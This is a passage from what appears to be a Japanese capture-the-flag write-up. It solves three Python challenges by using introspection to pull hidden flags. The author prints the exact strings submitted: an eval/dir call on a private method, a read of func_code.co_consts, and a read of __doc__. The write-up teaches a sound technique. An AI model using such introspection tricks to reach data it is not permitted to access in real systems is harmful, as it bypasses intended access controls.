ここでpythonの関数オブジェクトに対して()を付けると呼び出せるという性質を利用する。 つまり、こんな感じのことができる。

def func():
    return 1
    
f = func # ここで関数オブジェクトがfに格納される
f() # 1が返される

そして、文字列をpythonコードとして実行し結果を返すeval関数と、クラスやオブジェクトなどメンバを文字列として取得するdir関数を組み合わせて、_Private__flagの関数オブジェクトを取得する。 これを()で呼び出せばフラグを表示できるはず。

手元の環境でdir(p)してみると、最初の要素に_Private__flagがあったので、とりあえず最初の要素であると仮定してやってみた。 最終的な文字列はこんな感じ。

eval("p."+dir(p)[0])()

成功した。

local

ふたつめの問題。

今度は関数内で定義されるローカル変数を参照できるかという問題。 get_flagなのにflag返さねえじゃねえかとは思った。

ここで、関数オブジェクトの構造を観察してみる。 実はさっきの問題を解くまでよく知らなかった。 dir関数を使ってメンバを見てみるとfunc_codeといういかにもコードがありそうなメンバがあった。 どうやらpythonのコードの情報を持っているようで、バイトコンパイルされたコードなどが含まれている。

どうやってpythonが作られているのかが読み取れる気がしてくる。

このcodeオブジェクトに対してもdirでメンバを読み取ると、co_constsという定数値がありそうな名前がある。 表示してみるとビンゴだった。

これで成功。 送信した文字列はこんな感じ。

get_flag.func_code.co_consts

comment

みっつめの問題

これは知っていた、パッケージを作ったときに丁度その話を見た。 パッケージの一番先頭にある文字列は__doc__に格納され、help関数で表示できるようになる。 関数などでも、定義の一番最初に置いた文字列がこのように取得できる。

helpだと対話的環境でしか表示されないので、__doc__を表示することにする。

成功、送信文字列はこんな感じ。

comment_flag.__doc__

おわり

pythonがなければwarmupだけで終わっていた。